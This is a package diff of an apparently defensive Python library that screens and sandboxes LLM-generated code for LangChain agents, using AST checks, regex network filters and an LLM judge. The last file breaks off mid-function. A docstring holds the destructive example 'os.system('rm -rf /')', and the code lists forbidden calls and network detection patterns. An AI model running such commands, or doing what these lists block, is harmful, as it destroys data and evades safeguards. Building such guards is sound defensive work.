securellm-agentguard 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agentguard/__init__.py +13 -0
- agentguard/exceptions.py +28 -0
- agentguard/judges/__init__.py +5 -0
- agentguard/judges/gemini_judge.py +68 -0
- agentguard/policy.py +47 -0
- agentguard/tools/__init__.py +5 -0
- agentguard/tools/langchain_tool.py +266 -0
- agentguard/validators/__init__.py +6 -0
- agentguard/validators/ast_validator.py +102 -0
- agentguard/validators/network_filter.py +134 -0
- securellm_agentguard-0.1.0.dist-info/METADATA +250 -0
- securellm_agentguard-0.1.0.dist-info/RECORD +13 -0
- securellm_agentguard-0.1.0.dist-info/WHEEL +4 -0
agentguard/__init__.py
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AgentGuard — Security middleware for LangChain agents.
|
|
3
|
+
|
|
4
|
+
Intercept, validate, and safely execute LLM-generated code
|
|
5
|
+
through a 3-layer security pipeline.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from agentguard.exceptions import SecurityBlockedError
|
|
9
|
+
from agentguard.policy import SecurityPolicy
|
|
10
|
+
from agentguard.tools.langchain_tool import SafePythonREPLTool
|
|
11
|
+
|
|
12
|
+
__version__ = "0.1.0"
|
|
13
|
+
__all__ = ["SecurityPolicy", "SafePythonREPLTool", "SecurityBlockedError"]
|
agentguard/exceptions.py
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Custom exceptions for AgentGuard.
|
|
3
|
+
"""
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
class SecurityBlockedError(Exception):
|
|
7
|
+
"""
|
|
8
|
+
Raised when AgentGuard blocks code execution due to a security violation.
|
|
9
|
+
|
|
10
|
+
This exception is intentionally descriptive so that the LangChain agent
|
|
11
|
+
can receive it as feedback and self-correct its next action.
|
|
12
|
+
|
|
13
|
+
Example:
|
|
14
|
+
>>> raise SecurityBlockedError(
|
|
15
|
+
... layer="AST Validator",
|
|
16
|
+
... reason="Forbidden import detected: 'os'",
|
|
17
|
+
... code="import os; os.system('rm -rf /')"
|
|
18
|
+
... )
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
def __init__(self, layer: str, reason: str, code: str) -> None:
|
|
22
|
+
self.layer = layer
|
|
23
|
+
self.reason = reason
|
|
24
|
+
self.code = code
|
|
25
|
+
super().__init__(
|
|
26
|
+
f"[AgentGuard | {layer}] BLOCKED — {reason}. "
|
|
27
|
+
f"Rewrite the code without the forbidden operation."
|
|
28
|
+
)
|
|
@@ -0,0 +1,68 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Layer 3 — Gemini Semantic Judge.
|
|
3
|
+
|
|
4
|
+
Uses a Gemini LLM to evaluate the semantic intent of code that
|
|
5
|
+
passed the static layers, catching subtle or obfuscated malicious logic.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from langchain_core.language_models import BaseChatModel
|
|
9
|
+
from langchain_core.messages import HumanMessage, SystemMessage
|
|
10
|
+
|
|
11
|
+
from agentguard.exceptions import SecurityBlockedError
|
|
12
|
+
|
|
13
|
+
_SYSTEM_PROMPT = """You are an expert security engineer reviewing code generated
|
|
14
|
+
by an AI agent.
|
|
15
|
+
Your ONLY job is to determine if the code has malicious or destructive intent.
|
|
16
|
+
|
|
17
|
+
Malicious intent includes:
|
|
18
|
+
- Attempting to exfiltrate data (send data to external services)
|
|
19
|
+
- Attempting to delete, overwrite, or corrupt files or databases
|
|
20
|
+
- Attempting to escalate privileges or bypass security controls
|
|
21
|
+
- Attempting to install or execute external programs
|
|
22
|
+
|
|
23
|
+
Respond with ONLY one of two words:
|
|
24
|
+
- SAFE → the code does what a legitimate data analysis task would do
|
|
25
|
+
- UNSAFE → the code appears to have malicious or destructive intent
|
|
26
|
+
|
|
27
|
+
Do NOT explain your reasoning. Do NOT add any other text."""
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
class SemanticJudge:
|
|
31
|
+
"""
|
|
32
|
+
Validates the semantic intent of code using a Gemini LLM.
|
|
33
|
+
|
|
34
|
+
This is Layer 3 of the AgentGuard pipeline — the last resort for
|
|
35
|
+
catching sophisticated attacks that evaded static analysis.
|
|
36
|
+
|
|
37
|
+
The judge uses a strict binary prompt (SAFE/UNSAFE) on a fast,
|
|
38
|
+
cheap model (gemini-2.0-flash recommended) to minimise latency.
|
|
39
|
+
"""
|
|
40
|
+
|
|
41
|
+
def __init__(self, llm: BaseChatModel) -> None:
|
|
42
|
+
self._llm = llm
|
|
43
|
+
|
|
44
|
+
def validate(self, code: str) -> None:
|
|
45
|
+
"""
|
|
46
|
+
Ask the LLM to evaluate the intent of the code.
|
|
47
|
+
|
|
48
|
+
Args:
|
|
49
|
+
code: Raw Python source code generated by the LLM agent.
|
|
50
|
+
|
|
51
|
+
Raises:
|
|
52
|
+
SecurityBlockedError: If the judge returns UNSAFE.
|
|
53
|
+
"""
|
|
54
|
+
messages = [
|
|
55
|
+
SystemMessage(content=_SYSTEM_PROMPT),
|
|
56
|
+
HumanMessage(content=f"```python\n{code}\n```"),
|
|
57
|
+
]
|
|
58
|
+
response = self._llm.invoke(messages)
|
|
59
|
+
verdict = str(response.content).strip().upper()
|
|
60
|
+
|
|
61
|
+
if verdict != "SAFE":
|
|
62
|
+
raise SecurityBlockedError(
|
|
63
|
+
layer="Semantic Judge (Gemini)",
|
|
64
|
+
reason=(
|
|
65
|
+
"LLM analysis detected potentially malicious intent in the code."
|
|
66
|
+
),
|
|
67
|
+
code=code,
|
|
68
|
+
)
|
agentguard/policy.py
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
"""
|
|
2
|
+
SecurityPolicy — Pydantic model defining the rules for AgentGuard.
|
|
3
|
+
"""
|
|
4
|
+
|
|
5
|
+
from pydantic import BaseModel, Field
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
class SecurityPolicy(BaseModel):
|
|
9
|
+
"""
|
|
10
|
+
Defines the security rules applied by AgentGuard's pipeline.
|
|
11
|
+
|
|
12
|
+
Attributes:
|
|
13
|
+
allowed_modules: Python modules the agent is allowed to import.
|
|
14
|
+
Defaults to a safe minimal set.
|
|
15
|
+
allowed_domains: Hostnames/domains the agent is allowed to call.
|
|
16
|
+
Use an empty list to block ALL network access.
|
|
17
|
+
use_semantic_judge: Whether to enable the LLM-based semantic analysis
|
|
18
|
+
(Layer 3). Requires a GEMINI_API_KEY. Disabling it speeds up
|
|
19
|
+
execution but reduces detection of subtle malicious intent.
|
|
20
|
+
execution_timeout: Maximum seconds allowed for code execution.
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
>>> policy = SecurityPolicy(
|
|
24
|
+
... allowed_modules=["pandas", "json"],
|
|
25
|
+
... allowed_domains=["api.github.com"],
|
|
26
|
+
... use_semantic_judge=True,
|
|
27
|
+
... )
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
allowed_modules: list[str] = Field(
|
|
31
|
+
default=["math", "json", "re", "datetime", "collections"],
|
|
32
|
+
description="Whitelist of importable Python modules.",
|
|
33
|
+
)
|
|
34
|
+
allowed_domains: list[str] = Field(
|
|
35
|
+
default=[],
|
|
36
|
+
description="Whitelist of allowed network domains. Empty = no network.",
|
|
37
|
+
)
|
|
38
|
+
use_semantic_judge: bool = Field(
|
|
39
|
+
default=True,
|
|
40
|
+
description="Enable LLM-based semantic analysis (Layer 3).",
|
|
41
|
+
)
|
|
42
|
+
execution_timeout: int = Field(
|
|
43
|
+
default=10,
|
|
44
|
+
ge=1,
|
|
45
|
+
le=60,
|
|
46
|
+
description="Max seconds for code execution.",
|
|
47
|
+
)
|
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
"""
|
|
2
|
+
LangChain integration — SafePythonREPLTool.
|
|
3
|
+
|
|
4
|
+
A drop-in replacement for LangChain's PythonREPLTool that runs
|
|
5
|
+
all code through the AgentGuard 3-layer security pipeline before execution.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import io
|
|
9
|
+
import threading
|
|
10
|
+
import warnings
|
|
11
|
+
from contextlib import redirect_stdout
|
|
12
|
+
|
|
13
|
+
from langchain_core.callbacks import CallbackManagerForToolRun
|
|
14
|
+
from langchain_core.language_models import BaseChatModel
|
|
15
|
+
from langchain_core.tools import BaseTool
|
|
16
|
+
from pydantic import BaseModel, Field
|
|
17
|
+
|
|
18
|
+
from agentguard.exceptions import SecurityBlockedError
|
|
19
|
+
from agentguard.judges.gemini_judge import SemanticJudge
|
|
20
|
+
from agentguard.policy import SecurityPolicy
|
|
21
|
+
from agentguard.validators.ast_validator import ASTValidator
|
|
22
|
+
from agentguard.validators.network_filter import NetworkFilter
|
|
23
|
+
|
|
24
|
+
# Builtins that are safe to expose to LLM-generated code.
|
|
25
|
+
# This whitelist explicitly excludes dangerous functions like
|
|
26
|
+
# exec, eval, compile, open, __import__, getattr, setattr, delattr.
|
|
27
|
+
_SAFE_BUILTINS: dict = {
|
|
28
|
+
# Types & constructors
|
|
29
|
+
"bool": bool,
|
|
30
|
+
"int": int,
|
|
31
|
+
"float": float,
|
|
32
|
+
"str": str,
|
|
33
|
+
"list": list,
|
|
34
|
+
"dict": dict,
|
|
35
|
+
"tuple": tuple,
|
|
36
|
+
"set": set,
|
|
37
|
+
"frozenset": frozenset,
|
|
38
|
+
"bytes": bytes,
|
|
39
|
+
"bytearray": bytearray,
|
|
40
|
+
"complex": complex,
|
|
41
|
+
"type": type,
|
|
42
|
+
# Iteration & ranges
|
|
43
|
+
"range": range,
|
|
44
|
+
"enumerate": enumerate,
|
|
45
|
+
"zip": zip,
|
|
46
|
+
"map": map,
|
|
47
|
+
"filter": filter,
|
|
48
|
+
"reversed": reversed,
|
|
49
|
+
"iter": iter,
|
|
50
|
+
"next": next,
|
|
51
|
+
# Aggregation
|
|
52
|
+
"len": len,
|
|
53
|
+
"min": min,
|
|
54
|
+
"max": max,
|
|
55
|
+
"sum": sum,
|
|
56
|
+
"abs": abs,
|
|
57
|
+
"round": round,
|
|
58
|
+
"sorted": sorted,
|
|
59
|
+
"any": any,
|
|
60
|
+
"all": all,
|
|
61
|
+
# String & representation
|
|
62
|
+
"print": print,
|
|
63
|
+
"repr": repr,
|
|
64
|
+
"format": format,
|
|
65
|
+
"chr": chr,
|
|
66
|
+
"ord": ord,
|
|
67
|
+
"ascii": ascii,
|
|
68
|
+
"hex": hex,
|
|
69
|
+
"oct": oct,
|
|
70
|
+
"bin": bin,
|
|
71
|
+
# Type checking
|
|
72
|
+
"isinstance": isinstance,
|
|
73
|
+
"issubclass": issubclass,
|
|
74
|
+
"callable": callable,
|
|
75
|
+
"hasattr": hasattr,
|
|
76
|
+
# Conversion & introspection
|
|
77
|
+
"id": id,
|
|
78
|
+
"hash": hash,
|
|
79
|
+
"dir": dir,
|
|
80
|
+
"vars": vars,
|
|
81
|
+
"input": None, # Explicitly blocked — agents should not prompt for input
|
|
82
|
+
# Exceptions (so the code can use try/except)
|
|
83
|
+
"Exception": Exception,
|
|
84
|
+
"ValueError": ValueError,
|
|
85
|
+
"TypeError": TypeError,
|
|
86
|
+
"KeyError": KeyError,
|
|
87
|
+
"IndexError": IndexError,
|
|
88
|
+
"AttributeError": AttributeError,
|
|
89
|
+
"RuntimeError": RuntimeError,
|
|
90
|
+
"StopIteration": StopIteration,
|
|
91
|
+
"ZeroDivisionError": ZeroDivisionError,
|
|
92
|
+
"FileNotFoundError": FileNotFoundError,
|
|
93
|
+
"NotImplementedError": NotImplementedError,
|
|
94
|
+
# Booleans & None
|
|
95
|
+
"True": True,
|
|
96
|
+
"False": False,
|
|
97
|
+
"None": None,
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
class _CodeInput(BaseModel):
|
|
102
|
+
"""Input schema for the SafePythonREPLTool."""
|
|
103
|
+
|
|
104
|
+
code: str = Field(description="The Python code to execute.")
|
|
105
|
+
|
|
106
|
+
|
|
107
|
+
class SafePythonREPLTool(BaseTool):
|
|
108
|
+
"""
|
|
109
|
+
A secure Python REPL tool for LangChain agents.
|
|
110
|
+
|
|
111
|
+
Runs LLM-generated code through AgentGuard's 3-layer security pipeline:
|
|
112
|
+
1. AST Static Validator — blocks forbidden imports and built-in calls.
|
|
113
|
+
2. Network Filter — blocks calls to non-whitelisted domains.
|
|
114
|
+
3. Semantic Judge (optional) — uses Gemini to detect subtle malicious intent.
|
|
115
|
+
|
|
116
|
+
If any layer raises a SecurityBlockedError, the error message is returned
|
|
117
|
+
to the agent as tool output, allowing it to self-correct.
|
|
118
|
+
|
|
119
|
+
Usage:
|
|
120
|
+
>>> from agentguard import SafePythonREPLTool, SecurityPolicy
|
|
121
|
+
>>> from langchain_google_genai import ChatGoogleGenerativeAI
|
|
122
|
+
>>>
|
|
123
|
+
>>> policy = SecurityPolicy(
|
|
124
|
+
... allowed_modules=["pandas", "json"],
|
|
125
|
+
... use_semantic_judge=True,
|
|
126
|
+
... )
|
|
127
|
+
>>> judge_llm = ChatGoogleGenerativeAI(model="gemini-1.5-flash")
|
|
128
|
+
>>> tool = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
|
|
129
|
+
"""
|
|
130
|
+
|
|
131
|
+
name: str = "safe_python_repl"
|
|
132
|
+
description: str = (
|
|
133
|
+
"A secure Python interpreter. Use it to execute Python code. "
|
|
134
|
+
"Dangerous operations (system calls, forbidden imports, data exfiltration) "
|
|
135
|
+
"will be blocked and you will be asked to rewrite the code."
|
|
136
|
+
)
|
|
137
|
+
args_schema: type[BaseModel] = _CodeInput
|
|
138
|
+
policy: SecurityPolicy = Field(default_factory=SecurityPolicy)
|
|
139
|
+
judge_llm: BaseChatModel | None = None
|
|
140
|
+
|
|
141
|
+
def model_post_init(self, __context: object) -> None:
|
|
142
|
+
"""Warn if semantic judge is enabled but no LLM is provided."""
|
|
143
|
+
if self.policy.use_semantic_judge and self.judge_llm is None:
|
|
144
|
+
warnings.warn(
|
|
145
|
+
"[AgentGuard] use_semantic_judge=True but no judge_llm was provided. "
|
|
146
|
+
"Layer 3 (Semantic Judge) will be SKIPPED. "
|
|
147
|
+
"Pass a judge_llm to enable it, "
|
|
148
|
+
"or set use_semantic_judge=False to suppress this warning.",
|
|
149
|
+
UserWarning,
|
|
150
|
+
stacklevel=2,
|
|
151
|
+
)
|
|
152
|
+
|
|
153
|
+
def _run(
|
|
154
|
+
self,
|
|
155
|
+
code: str,
|
|
156
|
+
run_manager: CallbackManagerForToolRun | None = None,
|
|
157
|
+
) -> str:
|
|
158
|
+
"""
|
|
159
|
+
Execute the 3-layer pipeline and run the code if all checks pass.
|
|
160
|
+
|
|
161
|
+
Returns a string result (either code output or a SecurityBlockedError
|
|
162
|
+
message for agent self-correction).
|
|
163
|
+
"""
|
|
164
|
+
try:
|
|
165
|
+
return self._execute_pipeline(code)
|
|
166
|
+
except SecurityBlockedError as exc:
|
|
167
|
+
return str(exc)
|
|
168
|
+
|
|
169
|
+
def _execute_pipeline(self, code: str) -> str:
|
|
170
|
+
"""Run validation layers then execute the code in a sandboxed env."""
|
|
171
|
+
# ── Layer 1: AST Static Analysis ──────────────────────────────────
|
|
172
|
+
ASTValidator(self.policy).validate(code)
|
|
173
|
+
|
|
174
|
+
# ── Layer 2: Network Filter ────────────────────────────────────────
|
|
175
|
+
NetworkFilter(self.policy).validate(code)
|
|
176
|
+
|
|
177
|
+
# ── Layer 3: Semantic Judge (optional) ────────────────────────────
|
|
178
|
+
if self.policy.use_semantic_judge and self.judge_llm is not None:
|
|
179
|
+
SemanticJudge(self.judge_llm).validate(code)
|
|
180
|
+
|
|
181
|
+
# ── All checks passed — execute safely with timeout ───────────────
|
|
182
|
+
return self._safe_exec(code)
|
|
183
|
+
|
|
184
|
+
def _safe_exec(self, code: str) -> str:
|
|
185
|
+
"""
|
|
186
|
+
Execute code in a sandboxed environment with:
|
|
187
|
+
- Restricted builtins (no exec/eval/open)
|
|
188
|
+
- A controlled __import__ that only allows policy-whitelisted modules
|
|
189
|
+
- stdout capture (print statements are returned)
|
|
190
|
+
- Timeout enforcement (SecurityPolicy.execution_timeout)
|
|
191
|
+
"""
|
|
192
|
+
local_vars: dict = {}
|
|
193
|
+
stdout_capture = io.StringIO()
|
|
194
|
+
exec_error: list[Exception] = []
|
|
195
|
+
|
|
196
|
+
# Build builtins with a restricted __import__ for this execution
|
|
197
|
+
sandboxed_builtins = {**_SAFE_BUILTINS}
|
|
198
|
+
sandboxed_builtins["__import__"] = self._make_restricted_import()
|
|
199
|
+
|
|
200
|
+
def _target() -> None:
|
|
201
|
+
try:
|
|
202
|
+
with redirect_stdout(stdout_capture):
|
|
203
|
+
exec(code, {"__builtins__": sandboxed_builtins}, local_vars) # noqa: S102
|
|
204
|
+
except Exception as exc:
|
|
205
|
+
exec_error.append(exc)
|
|
206
|
+
|
|
207
|
+
thread = threading.Thread(target=_target, daemon=True)
|
|
208
|
+
thread.start()
|
|
209
|
+
thread.join(timeout=self.policy.execution_timeout)
|
|
210
|
+
|
|
211
|
+
if thread.is_alive():
|
|
212
|
+
return (
|
|
213
|
+
f"[AgentGuard] TIMEOUT — Code execution exceeded "
|
|
214
|
+
f"{self.policy.execution_timeout}s limit. "
|
|
215
|
+
f"Rewrite the code to be faster or reduce the data size."
|
|
216
|
+
)
|
|
217
|
+
|
|
218
|
+
if exec_error:
|
|
219
|
+
return f"Execution error: {exec_error[0]}"
|
|
220
|
+
|
|
221
|
+
# Build output from stdout and/or the 'result' variable
|
|
222
|
+
printed = stdout_capture.getvalue()
|
|
223
|
+
result = local_vars.get("result", None)
|
|
224
|
+
|
|
225
|
+
parts: list[str] = []
|
|
226
|
+
if printed.strip():
|
|
227
|
+
parts.append(printed.strip())
|
|
228
|
+
if result is not None:
|
|
229
|
+
parts.append(str(result))
|
|
230
|
+
|
|
231
|
+
if parts:
|
|
232
|
+
return "\n".join(parts)
|
|
233
|
+
return "Code executed successfully (no output produced)."
|
|
234
|
+
|
|
235
|
+
def _make_restricted_import(self): # noqa: ANN202
|
|
236
|
+
"""
|
|
237
|
+
Create a restricted __import__ that only allows policy-whitelisted modules.
|
|
238
|
+
|
|
239
|
+
This is necessary because Python's `import X` statement internally calls
|
|
240
|
+
`__import__('X', ...)`. Without this, any code using `import` inside
|
|
241
|
+
the sandboxed exec() would fail — even for allowed modules like `math`.
|
|
242
|
+
|
|
243
|
+
Safety note: by the time code reaches _safe_exec, it has already passed
|
|
244
|
+
the AST validator which checks that only whitelisted modules are imported.
|
|
245
|
+
This restricted __import__ is a defense-in-depth measure.
|
|
246
|
+
"""
|
|
247
|
+
allowed = set(self.policy.allowed_modules)
|
|
248
|
+
|
|
249
|
+
def _restricted_import(
|
|
250
|
+
name: str,
|
|
251
|
+
globals: dict = None, # noqa: A002
|
|
252
|
+
locals: dict = None, # noqa: A002
|
|
253
|
+
fromlist: tuple = (),
|
|
254
|
+
level: int = 0,
|
|
255
|
+
): # noqa: ANN202
|
|
256
|
+
root_module = name.split(".")[0]
|
|
257
|
+
if root_module not in allowed:
|
|
258
|
+
raise ImportError(
|
|
259
|
+
f"Import of '{root_module}' is not allowed by the security policy."
|
|
260
|
+
)
|
|
261
|
+
# Use the built-in __import__ directly — avoids the __builtins__
|
|
262
|
+
# dict vs. module ambiguity that varies across Python implementations.
|
|
263
|
+
return __import__(name, globals or {}, locals or {}, fromlist, level)
|
|
264
|
+
|
|
265
|
+
return _restricted_import
|
|
266
|
+
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Layer 1 — AST Static Validator.
|
|
3
|
+
|
|
4
|
+
Analyses the Abstract Syntax Tree of LLM-generated code
|
|
5
|
+
without executing it, blocking forbidden imports and system calls.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import ast
|
|
9
|
+
|
|
10
|
+
from agentguard.exceptions import SecurityBlockedError
|
|
11
|
+
from agentguard.policy import SecurityPolicy
|
|
12
|
+
|
|
13
|
+
# Calls that are unconditionally forbidden, regardless of the policy.
|
|
14
|
+
_FORBIDDEN_CALLS: set[str] = {
|
|
15
|
+
# Code execution
|
|
16
|
+
"exec",
|
|
17
|
+
"eval",
|
|
18
|
+
"compile",
|
|
19
|
+
"__import__",
|
|
20
|
+
# File system access
|
|
21
|
+
"open",
|
|
22
|
+
# Attribute manipulation (evasion vectors)
|
|
23
|
+
"getattr",
|
|
24
|
+
"setattr",
|
|
25
|
+
"delattr",
|
|
26
|
+
# Runtime introspection (sandbox escape)
|
|
27
|
+
"globals",
|
|
28
|
+
"locals",
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
class ASTValidator:
|
|
33
|
+
"""
|
|
34
|
+
Validates Python source code using static AST analysis.
|
|
35
|
+
|
|
36
|
+
This is Layer 1 of the AgentGuard pipeline. It is fast (no I/O,
|
|
37
|
+
no network) and catches the most obvious attack vectors.
|
|
38
|
+
"""
|
|
39
|
+
|
|
40
|
+
def __init__(self, policy: SecurityPolicy) -> None:
|
|
41
|
+
self._policy = policy
|
|
42
|
+
|
|
43
|
+
def validate(self, code: str) -> None:
|
|
44
|
+
"""
|
|
45
|
+
Parse and inspect the code AST.
|
|
46
|
+
|
|
47
|
+
Args:
|
|
48
|
+
code: Raw Python source code generated by the LLM agent.
|
|
49
|
+
|
|
50
|
+
Raises:
|
|
51
|
+
SecurityBlockedError: If the code contains forbidden imports
|
|
52
|
+
or dangerous built-in calls.
|
|
53
|
+
SyntaxError: If the code is not valid Python.
|
|
54
|
+
"""
|
|
55
|
+
try:
|
|
56
|
+
tree = ast.parse(code)
|
|
57
|
+
except SyntaxError as exc:
|
|
58
|
+
raise SecurityBlockedError(
|
|
59
|
+
layer="AST Validator",
|
|
60
|
+
reason=f"Invalid Python syntax: {exc}",
|
|
61
|
+
code=code,
|
|
62
|
+
) from exc
|
|
63
|
+
|
|
64
|
+
for node in ast.walk(tree):
|
|
65
|
+
self._check_imports(node, code)
|
|
66
|
+
self._check_calls(node, code)
|
|
67
|
+
|
|
68
|
+
def _check_imports(self, node: ast.AST, code: str) -> None:
|
|
69
|
+
"""Block any import not explicitly whitelisted in the policy."""
|
|
70
|
+
if isinstance(node, ast.Import):
|
|
71
|
+
for alias in node.names:
|
|
72
|
+
module = alias.name.split(".")[0]
|
|
73
|
+
if module not in self._policy.allowed_modules:
|
|
74
|
+
raise SecurityBlockedError(
|
|
75
|
+
layer="AST Validator",
|
|
76
|
+
reason=f"Forbidden import detected: '{module}'",
|
|
77
|
+
code=code,
|
|
78
|
+
)
|
|
79
|
+
elif isinstance(node, ast.ImportFrom):
|
|
80
|
+
module = (node.module or "").split(".")[0]
|
|
81
|
+
if module not in self._policy.allowed_modules:
|
|
82
|
+
raise SecurityBlockedError(
|
|
83
|
+
layer="AST Validator",
|
|
84
|
+
reason=f"Forbidden import detected: '{module}'",
|
|
85
|
+
code=code,
|
|
86
|
+
)
|
|
87
|
+
|
|
88
|
+
def _check_calls(self, node: ast.AST, code: str) -> None:
|
|
89
|
+
"""Block unconditionally dangerous built-in calls."""
|
|
90
|
+
if isinstance(node, ast.Call):
|
|
91
|
+
func_name: str | None = None
|
|
92
|
+
if isinstance(node.func, ast.Name):
|
|
93
|
+
func_name = node.func.id
|
|
94
|
+
elif isinstance(node.func, ast.Attribute):
|
|
95
|
+
func_name = node.func.attr
|
|
96
|
+
|
|
97
|
+
if func_name and func_name in _FORBIDDEN_CALLS:
|
|
98
|
+
raise SecurityBlockedError(
|
|
99
|
+
layer="AST Validator",
|
|
100
|
+
reason=f"Forbidden built-in call detected: '{func_name}'",
|
|
101
|
+
code=code,
|
|
102
|
+
)
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Layer 2 — Network Filter.
|
|
3
|
+
|
|
4
|
+
Uses regex to detect network calls targeting domains
|
|
5
|
+
not explicitly whitelisted in the SecurityPolicy.
|
|
6
|
+
Covers: requests, urllib, httpx, aiohttp, socket.
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
import re
|
|
10
|
+
|
|
11
|
+
from agentguard.exceptions import SecurityBlockedError
|
|
12
|
+
from agentguard.policy import SecurityPolicy
|
|
13
|
+
|
|
14
|
+
# Pattern 1: URL strings in common HTTP library calls
|
|
15
|
+
# Matches requests.get("url"), httpx.get("url"), etc.
|
|
16
|
+
_HTTP_CALL_PATTERN: re.Pattern[str] = re.compile(
|
|
17
|
+
r"""(?:requests|httpx|aiohttp)\.(get|post|put|delete|patch|head|request)\s*\(\s*['"]([^'"]+)['"]""",
|
|
18
|
+
re.IGNORECASE,
|
|
19
|
+
)
|
|
20
|
+
|
|
21
|
+
# Pattern 2: Bare URL strings (https://... or http://...)
|
|
22
|
+
_URL_LITERAL_PATTERN: re.Pattern[str] = re.compile(
|
|
23
|
+
r"""['"]https?://([^/'"]+)""",
|
|
24
|
+
re.IGNORECASE,
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
# Pattern 3: urllib calls — urlopen("url"), urlretrieve("url"), Request("url")
|
|
28
|
+
_URLLIB_PATTERN: re.Pattern[str] = re.compile(
|
|
29
|
+
r"""(?:urlopen|urlretrieve|Request)\s*\(\s*['"]https?://([^/'"]+)""",
|
|
30
|
+
re.IGNORECASE,
|
|
31
|
+
)
|
|
32
|
+
|
|
33
|
+
# Pattern 4: Low-level socket connections — socket.connect(("host", port))
|
|
34
|
+
_SOCKET_PATTERN: re.Pattern[str] = re.compile(
|
|
35
|
+
r"""\.connect\s*\(\s*\(\s*['"]([^'"]+)['"]\s*,""",
|
|
36
|
+
re.IGNORECASE,
|
|
37
|
+
)
|
|
38
|
+
|
|
39
|
+
# Imports that signal network capability
|
|
40
|
+
_NETWORK_IMPORTS: set[str] = {
|
|
41
|
+
"requests",
|
|
42
|
+
"httpx",
|
|
43
|
+
"aiohttp",
|
|
44
|
+
"urllib",
|
|
45
|
+
"socket",
|
|
46
|
+
"http",
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
class NetworkFilter:
|
|
51
|
+
"""
|
|
52
|
+
Validates network access in LLM-generated code against the policy whitelist.
|
|
53
|
+
|
|
54
|
+
This is Layer 2 of the AgentGuard pipeline. It scans source code as
|
|
55
|
+
plain text using regex patterns to detect outbound network calls.
|
|
56
|
+
Covers: requests, httpx, aiohttp, urllib, and raw socket connections.
|
|
57
|
+
|
|
58
|
+
Note:
|
|
59
|
+
This layer is heuristic by nature. Sophisticated obfuscation may
|
|
60
|
+
evade it — that is precisely why Layer 3 (semantic judge) exists.
|
|
61
|
+
"""
|
|
62
|
+
|
|
63
|
+
def __init__(self, policy: SecurityPolicy) -> None:
|
|
64
|
+
self._policy = policy
|
|
65
|
+
|
|
66
|
+
def validate(self, code: str) -> None:
|
|
67
|
+
"""
|
|
68
|
+
Scan the code for network calls and check domains against the whitelist.
|
|
69
|
+
|
|
70
|
+
Args:
|
|
71
|
+
code: Raw Python source code generated by the LLM agent.
|
|
72
|
+
|
|
73
|
+
Raises:
|
|
74
|
+
SecurityBlockedError: If a network call targets a non-whitelisted
|
|
75
|
+
domain, or if any network call is detected when the whitelist
|
|
76
|
+
is empty (meaning all network access is forbidden).
|
|
77
|
+
"""
|
|
78
|
+
domains = self._extract_all_domains(code)
|
|
79
|
+
|
|
80
|
+
if not domains:
|
|
81
|
+
return # No network calls detected — pass
|
|
82
|
+
|
|
83
|
+
# If the whitelist is empty, ALL network access is forbidden
|
|
84
|
+
if not self._policy.allowed_domains:
|
|
85
|
+
raise SecurityBlockedError(
|
|
86
|
+
layer="Network Filter",
|
|
87
|
+
reason="Network access is forbidden by the security policy.",
|
|
88
|
+
code=code,
|
|
89
|
+
)
|
|
90
|
+
|
|
91
|
+
for domain in domains:
|
|
92
|
+
is_allowed = any(
|
|
93
|
+
domain.endswith(allowed) for allowed in self._policy.allowed_domains
|
|
94
|
+
)
|
|
95
|
+
if not is_allowed:
|
|
96
|
+
raise SecurityBlockedError(
|
|
97
|
+
layer="Network Filter",
|
|
98
|
+
reason=f"Network call to non-whitelisted domain: '{domain}'",
|
|
99
|
+
code=code,
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
def _extract_all_domains(self, code: str) -> set[str]:
|
|
103
|
+
"""Extract all unique domains from detected network patterns."""
|
|
104
|
+
domains: set[str] = set()
|
|
105
|
+
|
|
106
|
+
# HTTP library calls: requests.get("https://..."),
|
|
107
|
+
# httpx.post("https://..."), etc.
|
|
108
|
+
for _, url in _HTTP_CALL_PATTERN.findall(code):
|
|
109
|
+
domains.add(self._extract_domain(url))
|
|
110
|
+
|
|
111
|
+
# Bare URL literals
|
|
112
|
+
for host in _URL_LITERAL_PATTERN.findall(code):
|
|
113
|
+
domains.add(self._clean_domain(host))
|
|
114
|
+
|
|
115
|
+
# urllib calls
|
|
116
|
+
for host in _URLLIB_PATTERN.findall(code):
|
|
117
|
+
domains.add(self._clean_domain(host))
|
|
118
|
+
|
|
119
|
+
# Raw socket connections
|
|
120
|
+
for host in _SOCKET_PATTERN.findall(code):
|
|
121
|
+
domains.add(self._clean_domain(host))
|
|
122
|
+
|
|
123
|
+
return domains
|
|
124
|
+
|
|
125
|
+
@staticmethod
|
|
126
|
+
def _extract_domain(url: str) -> str:
|
|
127
|
+
"""Extract the base domain from a full URL string."""
|
|
128
|
+
url = url.split("//")[-1] # strip scheme
|
|
129
|
+
return url.split("/")[0].split("?")[0].split(":")[0] # strip path, query & port
|
|
130
|
+
|
|
131
|
+
@staticmethod
|
|
132
|
+
def _clean_domain(host: str) -> str:
|
|
133
|
+
"""Clean up a raw host string."""
|
